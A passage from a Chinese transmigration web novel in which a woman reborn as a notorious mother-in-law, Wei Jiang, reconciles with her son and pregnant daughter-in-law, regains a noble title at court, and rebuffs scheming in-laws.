想到那凶神恶煞的卫夫人,大夫摇着头走了,就是可怜那小媳妇咯。
陶氏害怕婆母,喝了安胎药就装睡,窦景一脸疼惜地看着妻子,心里对母亲不满是越来越深了。
明明他离开时陶氏还珠圆玉润,如今脸颊瘦的没几两肉了,刚刚他抱着她回来时都轻飘飘的,她还怀着孩子呢!
窦景看着锦被下隆起的弧度,想要摸一摸,又有些胆怯地收回了手,他才十七岁,却要做父亲了。
卫姜有些牙疼偏过头,“去外面说话,让她睡一会。”
窦景嗯了一声,又给妻子揶了揶被角,这才去了外间。
侍女们给母子二人奉了茶后就退了出去,两人一时相顾无言,最后还是卫姜没忍住,轻咳一声问道:“怎么回来了?”
原书中这个便宜儿子应该是和他爹已经回来的,怎么提前回来了。
窦景看了一眼母亲,“放心吧,父亲没别的女人,再说了,您不是在父亲身边安插了好些人,有什么可担心的。”
卫姜差点没被他呛死,茶也不敢喝了,虽然她不是这个意思,可也不能反驳,原主是这个意思。
原主不愿意跟着窦绍去外地,虽然两夫妻感情不睦,可她见不得窦绍有别的女人,所以在窦景成亲后没多久就把儿子打发去了丈夫身边,就是为了让儿子盯着他父亲。
当然这是之一,其中还有窦景不明白的另一层用意,她把儿子支走也是见不得儿子和儿媳夫妻恩爱。
嗯……这是有些变、态了,心理不健康啊!
“我不是这个意思,我是说,你怎么回来没有提前送个信。”
窦景冷哼了一声:“要是提前知会娘了,我能知道阿娘是这么照顾陶氏的。”
那阴阳怪气的嘲讽,听的人牙痒痒。
可卫姜还是只能忍了,原主确实照顾的有些过分了,她有些尴尬地去端茶杯,也顾不上会不会被呛了,人尴尬的时候就想找点事情忙。
窦景见母亲心虚的样子,鼻孔呼呼地,“要不是爹让我回来,陶氏和孩子我怕是都见不到了。”
他大叫了一声娘,控诉道:“陶氏是你儿媳,她肚子里的是你孙子,你怎么能这么搓磨她!”
虽然阿陶不肯说,但他已经从她乳娘吴氏和其他侍女口中知道了所有事情,他知道自己娘性子不好,有些古怪,但对他还是疼爱的,原以为娘亲的疯狂和偏执只是针对父亲,没想到……
“您既然容不下阿陶和孩子,那我们就搬出去好了。离您远远的,省的你看到生气!”
卫姜隐约都好像看到他头发都炸起来了,这是气恨了,也是,陶氏那样子任谁见到都忍不了吧,原主确实做的过分,卫姜辩无可辩,低头不语。
窦景是做丈夫的,应该为妻子出头,他做的对,只是……
卫姜皱眉,有些疑虑,这和书中的人设不太一样啊,书里面窦景虽然也对陶氏情深,可对上原主却没办法,连高声反驳都不敢,更别说这么指着亲娘鼻子骂了。
这真的是那个愚孝的妈宝男?
卫姜抬头打量了一眼这个便宜儿子,却不想窦景却被这一眼激怒了。
他说了半天,他娘低头一句话不说,一副死猪不怕开水烫的样子,他提出要搬出去,她还那样看他,肯定是觉得自己只是威胁威胁她而已。
窦景血一下子都冲到脑子里了,他腾地起身,高声吩咐人收拾行李。
“我们夫妇一体,娘既然不喜欢阿陶,那就请恕儿子不孝了,儿子不能做个不义的丈夫,不慈的父亲,我只能陪着他们母子离了窦家。”
门外的下人都惊呆了,陶氏的乳娘也懵了,过了一会才反应过来,脸色惨白地进了内室。
知道少爷定然会和夫人闹,可没想到闹的这么大,真要是离开了窦家,夫人名声就那样了,可少爷和少奶奶,还有肚子里的孩子,以后可怎么办?
特别是陶氏,大家只会觉得是她撺掇着丈夫和母亲离心,闹的他们母子不和,继而还会觉得陶家教女不严,连累陶家的名声,陶家可还有好几个姑娘没议亲呢?
陶氏听说后,也是吓的花容失色,她腿都吓软了,全靠乳娘撑着她。
陶氏刚走到门口,就听到屋里的婆母声音冷淡地问道:“你们搬去哪里?”
父母在不分家,何况窦绍只有他一个儿子,自然也就不需要给自己置办什么别院宅子,这一下子也确实想不到什么去处。
窦景觉得他娘是用这个将他,脱口便道:“我们去岳丈家住。”
陶氏听了这话,两眼一番就要晕过去,这岂不是更证实了他们母子失和是因为她。
屋里两人听到动静立马赶了过来,陶氏抓住丈夫的胳膊,满脸恳求道:“夫君,不要,母亲待我很好,是我……是我……是我不懂事,是我挑拨了,你不要生气,不要和娘生气,都是我不好。”
说出那违心之话后,后面的请罪说辞也说的越来越顺了。
这副可怜兮兮的样子,让窦景心更疼了,她这副样子怎么让他相信,自己的母亲是被妻子冤枉。
她难道不知道自己被母亲看一眼就会发抖吗?
窦景鼻头酸酸的,把妻子紧紧抱在怀里。
卫姜看着这对苦命鸳鸯,一时进退两难,其实刚刚窦景说要搬出去,她也觉得是个好主意,趁势让小夫妻和她割裂开来,以后女主回京,也不会被她连累上。
可刚刚长佩的一句话提醒了她,这个时代,要是窦景真的带着妻儿一气之下搬走了,他的名声仕途也就完了。
毕竟卫姜搓磨儿媳也没有摆到台面上,不然陶家早就来闹了。
“行了,我知道了,以后不会了。”卫姜这话是对窦景说的,也是对陶氏说的。
也是,她本来就不是原主,认错求原谅没什么负担,还是要稳住他们。
陶氏有些不敢相信,就连窦景眼中也有狐疑,卫姜可不理他们这些,她只是担心这几天陶氏这么折腾,不会真的把孩子折腾早产了吧。
刚送走的大夫又被请了回来,这次是真可以留下用晚膳了,可大夫看着府里的气氛不对,就连那双爱探究的小眼神都老实了。
陶氏这次是真有些动胎气了,必须要卧床躺上十天半月,而且不能再受惊吓了,说这话时,大夫眼神还特意扫了一眼卫姜。
卫姜心里腹诽,怎么,外面的人都以为是她没事干天天在家里吓自己的儿媳妇,她的名声已经这么丧心病狂了吗?
这次大夫走的坚决,毕竟卫姜脸色不好看,他害怕真被留下来,到时候是吃晚饭还是吃牢饭就不好说了。
“她要静养,搬出去的话就不要说了,你要是真想搬出去也行,跟你爹说吧。”要是窦绍同意了,黑锅她也是愿意背的,不影响他们就好。
窦景没有说话,只是握着陶氏的手,就这么静静地看着她,卫姜待的实在没意思,带着人也离开了。
她抬头看
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天,天边晕黄,那是晚霞,明日又是新的一天。
卫姜颇有些为自己骄傲,他们都不知道自己做了多伟大的事情,她真善良,从此以后,这对小夫妻应该没那么多磨难了吧。
她看了一眼内室,窃窃私语的两人,忽然想起之前嗑cp的日子了。
俊男靓女,就是结婚的有点早,还是孩子就要生孩子了。
次日,卫姜刚用过早膳,门房就有人送来了帖子,是卫姜娘家大嫂宋氏送来的。
卫姜拿着帖子表情有些奇怪,原主就是因为在娘家受了气,乌龙之下死翘翘了,那时卫家也是知道消息的,可都没有派人过来探望。
怎么忽然今日这么郑重地送了帖子过来。
倒是长佩明白,“也许世子夫人是怕夫人太忙了,提前下帖子支会一声。”
真的是这样?不过看长佩眼神飘忽,卫姜脑海中忽然闪过一些记忆。
卫家的人为什么下帖子,那时因为卫姜以前给这位大嫂吃过不少闭门羹,甚至还干过不让她进门的事情。
而且这个帖子,只怕也不是给她的,而是知道窦景回来了,给窦景的。
果然窦景知道消息一脸焦急地赶过来了,“舅母午后要来?”
卫姜把帖子给了他。
窦景看着帖子一时有些无语,看了一眼卫姜。
娘家来人,还得先送个帖子来,恐怕整个上京也就只有他们家了。
“母亲,外祖母病了您知道吗?”
这……她真不知道啊,卫姜怔住了,有些无措地看向长佩。
看长佩的脸色,应该是知道这个消息的,卫姜也不确定她们是不是跟她说过,那个时候她刚过来,整个人都浑浑噩噩的,只想回家,可能她们说了,她并没有听进去。
窦景叹了口气,见母亲呆住了,还以为是被吓到了,安慰道:“外祖母已经大安,您放心,不是儿子说您,外祖母年岁已高,您不能老这么和她赌气了,万一真气出什么毛病来,那可怎么办?”
卫姜猛点头,跟个乖娃娃似的。
有些重话也说不出口了,这毕竟是他亲娘,做事再不对,也不是他能教训的,只能写信告诉父亲了,不过父亲好像也管不住娘亲啊。
“舅母过来时,您别又摆脸色。”
这种事以前原主没少干,所以宋氏其实也很少乐意登门,这次怕是真有什么事情?说不定是她爹和兄长有什么嘱托。
午饭是窦景陪着卫姜用的,他是打定主意要陪着她招待舅母了,卫姜无语,这是有多不放心她。
“你这刚回来,还是去陪你媳妇吧。”卫姜想赶他走,一个帅小伙一口一个娘叫着。叫的她心梗,而且这个小伙还啰嗦。
再好的皮囊她也忍不了了。
“我刚回来,更应该陪一陪娘亲。”
卫姜斜了他一眼,昨日踹门,发火,扬言还要搬出去住时可不是这态度。
反正任她怎么赶,窦景就是耍赖不走,很快卫家大嫂,宋氏登门了。
卫姜和窦景迎了出去,快到二门时,窦景比划一下脸,让她要笑。
卫姜撞开他的手,白了他一眼。
“大嫂。”
宋氏被这热情的一声称呼吓住了,这面前艳丽高贵,笑脸盈盈的贵妇人真的是她那个整日阴沉着一张脸,好像所有人都欠她钱的小姑。
卫姜在窦景眼神示意下,亲切地去挽住了娘家大嫂的胳膊,她能感受到宋氏身子僵硬了一下。
“嫂嫂今日怎么有空过来了。”
宋氏笑容有些僵硬,有些看不懂自家小姑今日唱什么戏。
“我听说景儿回来了,你大哥让我过来看看。”
卫姜把她迎进了正院,窦景也跟着来。
话还没说几句,宫里来人了,召卫姜进宫。
在场三人都松了一口气。
5. 第 5 章
这次依旧远远地听到仁寿宫有动静,不同于上次的哭声,这次一群人的欢笑声,卫姜心重重的跳了一下,难道是信王有消息了?
这也太快了,书中可是半个月后才传来信王安全的消息,也就是这半个多月让男女主培养出非一般的感情。
可除了信王的消息,还有什么事能让太后这么高兴呢?
就这么愣神的功夫,人已经进了后殿,太后脸上的笑容藏也藏不住,招手让她快过来。
殿里坐满了人,卫姜有些头皮发麻,正好趁着太后叫她这个机会匆匆行了个礼就坐在太后右手边。
太后左下首坐了个貌美标志的年轻姑娘,卫姜有些好奇地打量她,那姑娘害羞低头。
“阿姜怎么一直盯着阿青看,可是她有哪里不妥?”皇后笑盈盈地开口为小姑娘解围。
敢情那姑娘不是害羞,是怕她为难啊!卫姜认出这姑娘是谁了,保国公苏家的嫡女,也就是书中真假千金案里面的假千金。
原来这就是让女主后来格外膈应的苏青阿!卫姜更想多看她几眼了,这可是女主最忌惮的女人,是她心里的一根刺,唯一的坎坷。
“就是有些日子不见,苏姑娘好像又漂亮些,不由地让人想多看两眼。”卫姜笑的格外灿烂。
众人有些意外她今日怎么这么好说话,不是应该噎一下皇后,比如回皇后一句:长的不太妥什么的。
贤妃有些失望,她还挺想看皇后吃瘪的。
上京城这么多贵眷中,也只有卫姜这个混不吝从不给皇后面子。
要是她也会说话,懂看眼色了,以后这宫里岂不是失了很多乐趣?
卫姜没有注意到贤妃的神色,她看向皇后下首端坐着的清丽妇人。
保国公夫人,当今皇后的堂妹,女主的亲生母亲。
这位小严氏和皇后长得有四分相像,虽算不上大美人,但也清秀端庄,严家教女有方,皇后是国母,母仪天下,小严氏在上京也是颇有美名。
她温良贤淑,恭肃严整,是京城中有名的贤内助,是和卫姜刚好相反的人设。
卫姜就是典型的家有恶妻,京城人人都拿两人作比,都羡慕苏国公娶了个好妻子,同情窦绍娶了个搅家精。
卫姜也因此恨上了小严氏,只要是两人出现的场合,卫姜是一定要找人家茬的,当然最后出丑的也一定是她自己就是了。
见卫姜看向小严氏,大家的心都提了起来,有些人幸灾乐祸,有些人面有担忧。
“还是夫人眼厉,我刚也想说苏姑娘长的真好,就怕别人说我嫉妒,没敢说出口。”太子妃说话替卫姜缓和气氛。
这话说的俏皮,引得众人笑成一团,特别是太后,更是满意地拍着苏青的手。
这可是她替信王一早就看好的王妃人选。
太后转拉过小姑娘细腻的柔荑,笑眯眯道:“这孩子确实长得好,眉眼有些像苏国公,倒是不太像你”
太后笑着转头对小严氏说道。
小严氏起身,谦逊笑道:“还是不像妾身才好。”
小严氏长相不过清秀,像她可就不是什么美人了。
众人也都心领神会地笑笑,没有人会真的把她这话当真,要知道严家的女儿从来不是靠美色,而是内秀与贤惠。
只有卫姜挑着眉头,像才奇了大怪!又不是真亲生的。
可惜这个秘密如今只有她知道,等明年女主上京,才会揭开真假千金的身世。
找不到可以分享秘密的人,颇有些寂寞,卫姜摸了个甜枣塞进嘴里,刚转头就对上了太子妃视线。
卫姜习惯性地点头笑了一下,太子妃愣了一下,也对着她点头笑了一下。
这也是个炮灰,太子不倒,主角怎么上去,他们的身份天然就是男女主角的敌人。
这么一想,卫姜看她眼神带了几分怜悯,这才太子妃颇有些奇怪。
一群人已经开始说起美人了,女人多的地方话题就多,八卦也就多,卫姜是听的津津有味,也吃的格外欢实,那一盘甜枣被她一个个炫完了。
也就她心大的把太后宫里当家里,半点没少吃。
最后还是大家看太后有些疲乏这才散了,离开时,太后还赏了苏青一支金凤钗,皇后和小严氏的嘴角翘的都压不住,就连贤妃眼里也满是喜色的,当然她这个未来婆母也是备了礼物的。
小严氏轻颔首,苏青红着脸收了贤妃的锦盒。
看来书里写的没错,皇家给信王相中了苏青,看着这些一厢情愿的家长,卫姜心里叹息,可惜了,信王自由恋爱了,他有对象了。
掐指一算,信王如今应该在山上的小木屋和女主打的火热,两人正cosplay落难公子和小医女呢。
卫姜也想走,却被太后留了下来。
“阿姜陪我用完晚膳再回去吧。”
距离晚膳还有将近一个时辰呢,而且,她家里还撂的有个客人呢。
她正要推辞,就听太后道:“等下你舅舅也要来。”
这下给卫姜的胆子也不敢拒绝了。
不但皇上来了,他还把太子也带了来,见到卫姜,太子很是高兴,“阿姜姐姐,你好久都没进宫了,今日见你精神了很多”
太子这一声阿姜姐姐,让卫姜鸡皮疙瘩都要起来了,太子比卫姜只小两岁,卫姜只要进宫,都是去的先皇后宫里,自然也就和太子最熟了,这些年太子也一直都是用的旧时称呼。
皇上和太后并没有觉得奇怪,相反还觉得他们姐弟感情好。
太后笑着道:“今日我特意让人把她叫进宫的,这次信王的事情多亏阿姜。”
卫姜有些不好意思了,她也就说了几句好话,人可是女主救的,皇家这么重视,她总觉得捡人家便宜了。
“以后阿姜要是闲了就进宫来玩,就跟小时候一样,不用拘束。”皇帝也笑着说道。
面对这样的热情,卫姜只有苦笑,宫里有什么好玩的,还不用拘束,宫里人人都八百个心眼子,她可玩不过。
小太监来回禀说是膳食已经传好了,皇帝起身道:“今日难得,我们一家人一起用个膳。”
卫姜看来看去,心里有些麻,这一家人的形容词真的没用错吧。
她一个拐了几道弯的亲戚,也算是一家人?
太后已经乐呵呵的起身,卫姜只能懵着前去扶着。
卫姜有些食不知味,菜确实好吃,可她心里七上八下的,总觉得还有下文。
很快,谜底就揭开了,是喜事。
皇帝先是大力表扬了一番窦绍,肯定他的功绩,最后才提到了她。
“你对太后的那份孝心大家也都看在眼里,朕也不能不赏你,这样,过些日子朕就把你的县主爵赐还给你,只是……”皇帝表情有些严肃,“以后胡闹也要有些度,不可在任性了。”
卫姜已经听不进去其他了,她的笑意藏都藏不住,嘴巴咧的老大。
没想到,这爵位这么快就到手了。她还以为要很久呢。
皇上对她要求是不是也太低了点,难怪她做事有恃无恐,常常闯祸呢,果然一个熊孩子背后有个纵容的家长,这话果然没错。
就这么说
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几句宽慰的话,县主就到手了?
看着她高兴的样子,皇帝也板不住脸了。
“这孩子!”
“阿姜姐姐这也是高兴的,父皇放心,以后我会帮您看着阿姜姐姐的。”太子在旁边为卫姜说好话。
皇帝摇头,太子不帮她隐瞒就是好的了,还会帮他看着,这话他能信才怪。
不过还好,窦绍快要回来了,他的人就让他来管吧!
原本他还想着让窦绍在地方再待个一两年,如今……,信王将要娶苏家女儿,他也要为太子提前预备起来了。
他的太子未来定然是个宽厚有为的明君,他得提前给太子备一把锋利的刀,培养一个镇的住朝臣的臂膀,他把目光移向和太子说话的卫姜。
窦绍是最合适的人,有卫姜在,他天然就会是太子的人。
毕竟,他的身子近来也差了很多,太子他……
皇帝叹了口气,他也不知道给信王娶苏家女儿到底是好是坏。
……
卫姜已经打听过了,她这个县主其实还是蛮值钱的,地位仅次于公主,郡主。
总之够她在京城横着走了,女主以后要对她下手,可就没那么容易了,算是拿到了一张护身符了。
回家一路上,卫姜脸上的笑意就没下来过。不过想到皇上如今不过还只是口头说说,卫姜顿了一下。
觉得自己不能乐的太早,低调,低调,等册封旨意到了,再炫耀也不晚,万一别人要使坏呢……
闷声才能发大财!
外面马车停了,长佩扶她下了马车,抬头看见那个窦字,卫姜忽然有些心虚了。
窦景不会又骂她怠慢他舅母了吧,这可是宫里强留客,不是她有意的。
刚进了府门,窦景已经快步朝这里来了,卫姜有些想转头就走的冲动,这帅小伙有些来者不善阿!
“娘。”窦景一把拉住了她的胳膊,看得出是个急性子。
“爹是不是真的要回来了?”窦景问道。
卫姜:“你知道了?”
窦景听她这么说,就知道这是真的了,脸上也露出喜色。
“是舅父说的,您刚进宫他就过来了,说是皇上有这个意思。”
父亲要是回京,那他们一家人也就不用分隔两地了,他也不用离开阿陶和孩子了。
“你舅舅来了?他们人呢?”卫姜像四处看,她还从来没见过这个兄长呢。
窦景嘴角抽了抽,把手从卫姜的手臂上抽开,“都什么时辰了,舅母和舅父他们早就回去了。”
他又狐疑打量着卫姜,“您进宫没惹事吧?”
以前他娘和别人干仗后也会出现这种好气色。
卫姜翻了个白眼,兔崽子,就不想她的好!
“滚。”卫姜还用手狠狠推开他凑近的头。
窦景转了几圈才稳住脚步,他抬脚追了上去,“爹就快回来了,我看您不如就在府里修身养性吧,宫里是非多,还是别去了,再说了,信王就要回来了,宫里的人也没心思应酬您。”
这话说的,好像是她眼巴巴地求着进宫!
气着气着她就笑了,“我就去,你这个儿子还想管老子了!”
窦景被这话弄懵了,他娘刚刚说什么了?老子?她……她怎么说这等粗话了。
几日后,随着一份旨意的到来,窦景总算明白他娘那日为何笑的那么嚣张了。
他娘把县主爵位又哄回来了!
爹说的没错,还真没有娘她做不成的事情,虽然爹说这话是贬义,但不妨碍窦景觉得适用。
6. 第 6 章
卫姜重新获封县主,这消息震惊了整个京城,褫夺后封号还能再还回来,她这也算得上是独一份了。
不过皇上用的借口就有点敷衍人了,说她纯孝,侍疾太后有功,难免让人发笑,她要是真孝顺,也不会把自己的娘都气病了!
大家背地里猜测,应该还是因为窦绍的功劳,这次信王能平安得救,可多亏了他。
一时上京城的女人心里都有些说不上的妒忌,那样的人竟然能有这么好的丈夫,老天真不长眼。
对窦家来说,最大得喜事不是卫姜重新获封县主,而是窦家最出息的男人要回京了,说不定还能更进一步。
大家都是聪明人,明白皇上这些动作是对窦绍的信重,有想法的自然要上门恭贺,卫姜只让人收好礼单,需要出面的应酬一律都让便宜儿子出面,但也有她必须要招待的,比如娘家人和婆家人。
窦家长房夫人林氏和三房的张氏还有娘家大嫂宋氏是差不多时间到的,没过多久窦家的姑奶奶也带着女儿赵慧娘到了。
卫姜只能打起精神和她们应酬,宋氏最有眼色,看她神色恹恹,很快就找了借口离开了,倒是窦家的人一直没走,看着就是有事。
“我刚进门就闻到了梅花香,不如二嫂借着喜事开个赏梅宴,把京城那些夫人小姐们都请来,气一气那些背后说酸话的人”
特别是要苏家的人请来,张氏看了一眼坐在一旁低头喝茶的大嫂。
窦家三房夫人张氏按照以往的习惯奉承着卫姜,若是以前的卫姜的,这个提议定然是甚得她心,可如今还了个芯了。
新卫姜如今忧愁的很,哪有心思开什么party。
那个窦绍就要回来了,她发愁啊!
明明窦绍应该还有一年多才会回来啊,而且信王会把女主托付给他照顾,这才让窦绍把这个女孩放在了心里。
女主高洁的品性让窦绍折服,也让他死水一般的心再次荡漾起来。
可如今,他怎么这么快就回来了,女主怎么办?自己又该怎么办?卫姜愁的双手想要抱头,一个貌似有些变态的丈夫,她害怕。
“赏什么梅,懒得折腾。”
卫姜一句话就否了张氏的提议。
窦家姑奶奶噗呲一声笑了,附和着说道:“可不是,侄媳妇眼看就要生了,要是惊扰了她可如何是好,三嫂尽出些馊主意。”
卫姜只是随意扫了一下这对亲姑嫂,不用猜,听话音就知道这两人绝对不对头。
张氏脸上讪讪,不敢对卫姜说什么,可对这小姑子就没什么好脸色了,颇有些轻蔑地看了她一眼,故意问一旁的林氏:“大嫂,听说昨日又有媒人上门了,怎么?您和大哥这是挑花眼了?”
大房如今需要说亲的只有他们的幼子了,窦家姑奶奶可一直想着把女儿嫁回娘家,听了这消息,愣了一下,有些恼怒地看向大嫂。
林氏瞥了一眼张氏,颇有些警告意味,“三弟妹倒是耳目灵通。”
但也没有否认媒人的事情,窦家姑奶奶的脸色更难看了。
这时,窦景从外面回来了,进来给各位长辈请安。
看到俊朗非凡的侄儿,窦家姑奶奶的心跟黄莲似的,其实她最开始看中的女婿人选是眼前这个。
只是当初二嫂忽然被皇家夺了封号,害怕二嫂遭皇家厌弃会被连累,就犹豫了,想着反正孩子们还小,以后再看。
后来二哥越来越出息,她又动了心思,可她没想到,二哥竟然那么快给窦景定了亲事。
“景哥瞧着更像二哥了。”
其他两人也笑着夸着窦景,弄的他一个大脸红,被长辈轮番夸的无措了,他无助地看向卫姜,希望他娘解个围。
她明明对上他的眼神了,可竟然若无其事地移开了,窦景不敢置信。
废话,帅哥害羞多难得,她不跟着起哄都算是有许许母性了,那小脸娇羞的,这要不是儿子,她都要上手调戏一把了。
刚刚还好像被大石压着的心,忽然就舒畅了,帅哥真是郁郁良药啊!
“娘。”门外少女清脆的声音试探地开口,她怀里抱着几支开的正艳的腊梅。
“慧娘,快过来,见过你表兄,你这是去哪弄了这么些花来。”
窦家姑奶奶看是腊梅,眼神扫过张氏,但很快又笑着把女儿带到了窦景面前。
“景哥还记得你妹妹吧。”
窦景温和地对赵慧娘笑了笑,见了礼:“慧妹妹。”
“二表兄,表嫂还在后面,她刚陪我去后院摘了梅枝……”
话还没说完,陶氏扶着人已经进来了,赵慧娘的侍女见窦家少奶奶给长辈们行完礼坐下,她这才回到自家小姐身边。
“不是让你在屋里歇着,怎么又出来了。”窦景看着妻子大肚子就担心的不行,一直在啰嗦陶氏不应该出门。
卫姜有些看不过去了:“也该出来走走,哪有天天憋在屋里的。”
陶氏缩了下脖子,窦景也误会了卫姜的话,以为娘亲是指责妻子一直躲在屋里,便为她辩解道:“大夫说她要多歇息。”
还不待卫姜说话,窦姑奶奶已经开口了:“景哥儿,这妇人怀胎的事大夫懂什么,他们又没生过,世上哪个女人不生孩子,要都仗着肚子在屋里躲清闲,把事情甩给婆母操持,这可不是什么贤惠人,想当初我怀着慧娘都快临盆了,都还在婆婆身后伺候呢,谁又不是这么过来的?二……”
她本来想找卫姜寻求共鸣,忽然想到这卫姜可没伺候过什么婆母,当初就是因为和公婆兄嫂闹的僵,这才别府另居的。
又将眼光对向大嫂和三嫂:”大嫂、三嫂,你们说是吧?”
林氏是长嫂,张氏是庶子媳妇,当初可没少在婆婆跟前立规矩,可看着陶氏那变得惨白的脸色,那附和的话也说不出口。
这陶氏可比她们当初惨的多,卫氏可不是什么好婆婆。
就算不在乎陶氏,可她肚中怀的是窦家子嗣,她们万一说错了话,让陶氏出了差错,等窦绍回来,说不定倒要怪上她们,两人打定主意不搭话,就让窦氏唱独角戏。
赵慧娘拉了拉窦氏,“娘,表嫂是最近身子不好,日常也是常在舅母面前侍候的。”
她有些羞愧地看向窦景,脸通红,有些不敢看陶氏,早知道就陪表嫂在后院了。
卫姜看到赵慧娘涨红的脸,又看向窦氏,脑子忽然嗡了一下。
这窦氏……她怎么给忘了!
窦氏在原书中也不是什么好人,她可做了不少缺德事,因为她的高不成低不就,慧娘的婚事变得艰难,林氏又不肯和她做亲家,最后窦氏看原主很不喜欢陶氏,竟然又把主意打到了窦景身上。
在书里,她可没少撺掇原主搓磨儿媳,也不知道是什么时候就开始打上主意了。
见卫姜脸色一下子就阴了,窦景心不住地往下沉,这些日子,母亲的性子变了很多,不再那么阴沉疯狂,他是存了些奢望的。
看来,是他想多了,他下意识抓紧了陶手的胳膊,心里打定主意就算顶撞了母亲,这次也要护住妻儿。
“是我让她好好歇着的,阿陶一直很孝顺,是我不让她侍候的,她怀着孩子辛苦,我又不是七老八十,哪里就动不得要她侍候了,再说了,我们家也没有那么多规矩,她贤不贤惠,孝不孝顺,也用不着外人说。”
众人都被这话惊住了,特别是窦景和陶氏,颇有些不敢置信,娘竟然维护阿陶。
卫姜发怒,众人心里有些发毛,真怕她脾气上来就撕破脸轰人走,她要是闹起来,可是谁的面子都不好使,众人都不敢说话,也不敢劝,卫姜的那句外人让窦氏气的脸都涨的紫红。
她是窦家的姑奶奶,在窦家没人敢说她是外人,连林氏都不敢,可这人是卫姜,她却不敢驳斥,只能把怒气往肚子里咽。
赵慧娘的胳膊被她娘抓的很紧,她有些吃痛,却不敢出声,只是身子有些颤抖,也是被她二舅母吓的。
她早就知道这个舅母脾气有些古怪,今日来之前她娘还交代她要讨好舅母,不要惹她生气,没想到最后却是娘惹舅母发脾气了。
卫姜本来还要说几句,可看到慧娘那吓坏了的表情,缓了缓语气,“大嫂,你们可还有事,等下我还得进宫一趟。”
林氏等人懂了她话中的意思,连忙起身告辞,窦氏低着头也被女儿扶着一起离开了。
“你们也回房吧。”见忽然就空了的正厅,卫姜自在了很多,她转身对儿子儿媳吩咐道
窦景点头,带着陶氏就要回去,刚走到门口,卫姜又说话了:“对了,你以后离你那姑母和表妹远一点,你那姑母就是搅事精。”
搅
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事精?母亲竟然用这个词形容别人。
窦景和陶氏对视一眼,立马又心虚地移开了。
姑母是有些糊涂,可表妹是无辜的,怎么好一起迁怒,窦景嘴张了几次,想要说些什么。
卫姜看出了他的想法,决定再说破一些:“男女有别,你是已婚妇男了,也注意点。”
窦景虽然没听懂这个词,但不妨碍他领会了这意思,一时有些无语,觉得母亲又多想了。
陶氏也低头笑了,心思和丈夫一样,都觉得婆婆的想法太不可思议了,怎么可能。
卫姜恨铁不成钢摆手让他们滚。
她这一番好心为了谁,他们还不领情,你那好姑母心里打着好主意呢,她这叫防范于未然。
“去去去,累死我了,我要歇一歇。”待客大半日,她连晌都没歇呢。
窦景瞪大眼:“娘,您不是还要进宫。”睡一觉醒来可就晚了。
卫姜脚也不停地往内室走去,“不去,我骗她们的。”
谁想不通进宫去,她只是不想应付她们随便找的借口。
还可以这样,两人有些愣住了,以前母亲发脾气也是直来直往的,如今倒是也会委婉赶人了。
这性子到底是变好还是变好呢?
……
驿站中,昏黄的灯光下,窦绍看着京中的最新消息,看到其中一条时,他的眉头微微皱了一下。
“大人,信王来了。”长随全贵轻轻扣着门扉,提醒屋里的人。
“请进来。”
窦绍把手中的纸张收起,刚起身,信王修长的身影已经进来了。
两人分主客坐下,信王喝着手中的热茶,一时不知道怎么开口,而窦绍也就一直等着,半点没有要体谅的意思。
没办法,信王放下手中的茶盏,厚着脸皮开口:“窦大人,小王还未开府,葛姑娘那边不知道窦大人可否帮着安置,一切花费都由小王承担,只是暂时收留,等葛姑娘找到亲人,她便会搬出去。”
窦绍没有说话,只是轻轻吹了吹只是温热的茶水。
信王知道他这是不肯应,只能硬着头皮继续劝说,他实在是找不到能托付的人了。
“葛姑娘身世可怜,她如今孤身入京寻亲,一个弱女子单独住在外面我也不放心,窦大人是个心善之人,自然也不会看着她有危险,只是想请您暂时收留她一阵。”
窦绍忽然笑了,放下茶被看向他,信王被这清冽的眼神看的有些发麻。
“大王,您确实是在为难我啊。”窦绍示意信王看向屋里侍候的两个男仆。
“我前脚答应你,后脚他们就会把消息传给我夫人。”
那两人啪地跪在地上,什么话都没说,可信王忽然就明白了,这两人怕是卫夫人盯人的眼线。
他有些同情地看向窦绍,只听他继续道:
“不是我不愿意帮忙,若葛姑娘是个男子,我倒是可以做主收留,我夫人的性子大王怕是也听说过,我要是帮您安置葛姑娘,那才是真的置她于危险之中。”
信王汗颜,他确实听过卫夫人那剽悍的性格,只是他觉得以窦大人的厉害,应该不至于如此。
没想到,自己竟然逼得他承认惧内了。
信王拱手,有些尴尬也有些不好意思:“是小王的错,窦大人就当没听过吧。”
窦绍没事人一般,好像刚刚丢人的话不是他说的一样,倒是信王还年轻,脸皮臊的很,坐不住了,起身就要告辞。
“我倒是可以给大王出个主意。”
信王停住了脚步,转身看向他
窦绍:“如今距离京都不过几日路程,大王何不派个心腹之人先行回宫见贤妃,葛姑娘是您的救命恩人,贤妃娘娘定然会帮您妥善安排。”
信王一喜,是啊,怎么忘了这个!同是女子,母妃来安排定然更妥当,他是真糊涂,竟然忘了这个。
“多谢窦大人了。”信王脚下生风地回屋写信了。
人走后,窦绍又把那张纸拿了出来,看着上面陌生又熟悉的名字,一时有些入神。
刚刚拒绝信王,确实有担忧卫姜闹起来的原因,但最大的原因,是他不想和信王建立更紧密的关系。
这是皇上不允许的。
幸好,卫姜依旧很好用!窦绍嘴角泛起一丝讥笑。
7. 第 7 章
“夫人,大夫人来了。”
卫姜有些惊讶地抬头,想到林氏上次明显是有事情的样子,她了然。
“弟妹,叨扰你了。”林氏被人请了进来。
卫姜吩咐人上茶,这才问她:“大嫂可是有事?”
林氏明显是不知道怎么开口,她也不知道卫姜会不会帮这个忙,可为了女儿她必须走这一趟。
“是为了明儿的事?”林氏声音有些低落。
窦明是林氏唯一的女儿,娇养宠惯着长大,对她的婚事林氏和阳武侯是千挑万选,最后选了苏家,一年前,窦明就出嫁了。
养儿一百岁,长忧九十九,姑娘嫁了人,可林氏要操的心就更多了。
窦明和世子苏通倒是夫妻感情不错,但想要在大家族里站稳脚跟,只有丈夫的疼惜是万万不够的,日子要想过的顺遂,就必须要能讨得婆母的欢心,首先就是子嗣的问题,但偏偏窦明肚子一直没消息。
窦明的婆母是上京城出了名的贤惠人,做她的儿媳其实也不会比陶氏轻松。
只是严氏讲究个体面,自然不会像卫姜那样找茬的太明显,但暗地里的绊子那可是一点都没少。
窦明吃了不少苦,林氏精心养了女儿十几年,才嫁去苏家一年,整个人都变了,从一个不知忧愁的明媚姑娘,渐渐变得不爱说话。
暗地里不知喝了多少调养的苦药,可就是没有好消息,眼看着女儿越来越沉寂,林氏是急的晚上都睡不着。
京城的好大夫林氏私底下不知请了多少,可都说不能急,要点时间调养。
但窦明目前最缺的就是时间了,那严氏不愿意等了。
“才成亲一年,用的着这么急吗?他们还年轻,子嗣晚个一两年也不是什么大事。”
